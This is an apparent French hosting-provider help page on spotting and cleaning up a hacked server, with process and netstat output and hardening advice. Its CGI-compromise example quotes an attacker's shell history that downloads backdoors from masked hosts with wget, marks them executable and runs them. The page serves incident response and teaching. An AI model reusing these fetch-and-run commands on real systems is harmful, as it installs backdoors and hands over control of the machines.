Recherche


imprimer pdf
Machine Hackée

Ça n'arrive pas qu'aux autres.

Comment voir qu'une machine est hackée ?

Un coup d'oeil sur MRTG ne trompe jamais:





et sur la machine on trouve :

root 3632 0.0 1.0 2368 1320 pts/0 S 10:51 0:00 -bash
root 6310 0.0 0.1 476 248 pts/0 S 11:27 0:00 ./ipv6fuck 213.186.34.196 192.88.99.1 2002:d5ba:22c4:: 2001:6b8:0:400
[...]

root 6360 0.0 0.1 476 244 pts/0 S 11:27 0:00 ./ipv6fuck 213.186.34.196 192.88.99.1 2002:d5ba:22c4:: 2001:6b8:0:400


Visiblement le hackeur a pu lancer des softs en root. La machine est donc hackée et doit être réinstallée.

# netstat -tanpu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
udp 0 0 0.0.0.0:9875 0.0.0.0:* 28823/xc
udp 0 0 0.0.0.0:1052 0.0.0.0:* 28823/xc
udp 0 0 0.0.0.0:6770 0.0.0.0:* 28823/xc
# ps auxw | grep 28823
root 7117 0.0 0.5 1796 748 pts/1 S 11:38 0:00 grep 28823


Il existe des softs lancés, qui ont un pid et qui ne sont pas vus par ps, sûrement parce que ps a été remplacé par un ps hacké qui filtre tous les softs du hackeur pour tromper l'oeil.

# halt

Broadcast message from root (pts/1) Thu Nov 20 11:39:22 2003...

The system is going down for system halt NOW !!

On arrête immédiatement la machine.

On peut avoir de la chance d'avoir une MachineSemiHackee.

Une autre expérience : MachineHackeeExemple.

Pourquoi la machine est hackée ?

Les origines des problèmes sont multiples, mais en gros on peut le résumer ainsi :
vous n'êtes pas assez parano.

Vous utilisez telnet. Votre login et mot de passe voyage par internet en clair et peuvent être sniffés à tout moment. Il faut utiliser ssh. Voici un petit guide à ce sujet : SshSurServeurDedie.

Vous utilisez ftp. Votre login et mot de passe voyage en clair sur internet et c'est le même que le mot de passe root. Sftp est votre solution.

Vous utilisez pop3/imap avec le mot de passe (qui voyage en claire) et c'est le mot de passe root. Utilisez APOP ou POP3S/IMAPS. Voici un petit guide à ce sujet : SmtpPop3Imap.

Si vous ne mettez pas à jour votre machine avec des releases ReleasePatchSecurite, vous risquez le hack facile (environ 250 scans sont effectués par jour sur notre reseau dans le but de detecter les failles de securité).

Que faire ?

En cas de hack, votre serveur sera placé en mode Rescue FTP automatiquement, et vous recevrez vos codes d'accès par email.

Vous pouvez ensuite demander au support de passer la machine en Rescue Mode, par ticket incident uniquement, en justifiant votre demande et votre engagement à corriger avant réactivation du serveur. Nous serons vigilants au fait que vous devez résoudre les failles avant de remettre le serveur en fonctionnement normal sur le réseau (mode HDD).

Exemples de hack

1. Faille de script CGI

Les symptômes
Un fichier g00dies.tgz uploadé dans le dossier /tmp avec d'autres fichiers : x, k, etc...
Le programme x est un backdoor ; lancé il donne accès à la machine.

On a trouvé le bash.history de l'utilisateur nobody dans /tmp, dont voici le contenu :

cd /tmp
wget www.#######.com/x
chmod +x x
./s
./x
./x
./x
./x./x
./x
./x
./x
./x
wget www.#######.com/k
chmod +x k
./k -d;
/tmp/x
./x
./x
./x
./x
./x
./x
./
cd /tmp
mkdir .,
cd .,
wget ######.go.ro/vampix
tar zxvf vampix
cd esc
./mingetty
./mingetty
./mingetty
cd /tmp
wget ######.go.ro/g00dies.tgz
tar zxvf g00dies.tgz
cd goodies
mv stealth /tmp
cd /tmp
wget ######.go.ro/smth
chmod +x smth
./smth
cd /tmp
wget ######.go.ro/g00dies.tgz
tar zxvf g00dies.tgz
cd goodies
mv stealth /tmp
/tmp/smth
/tmp/stealth




Constat
On voit bien avec cela que des commandes ont été passées en tant que nobody, or cet user est essentiellement utilisé par apache ; il semble que le hacker ait profité d'une vulnérabilité d'un script CGI.

Résolution
- Killer tous les process suspects en cours.
Le hacker n'est apparamment pas passé root (il pourrait en effet profiter d'une faille d'un kernel <2.4.24) ;
on fait toutefois quelques opérations/vérifications élémentaires :

  • Changer tous les mots de passe : root, user, mysql, mail, etc... (on voit que le hackeur a lancé mingetty)
  • Faire une recherche exhaustive des fichiers modifiés depuis le hack : find /rep -cmin -60 (vérifie les fichiers modifiés depuis moins d'une heure).

- Consultez ensuite les logs d'apache aux environ de l'heure à laquelle il y a eu ce hack pour trouver le script en cause.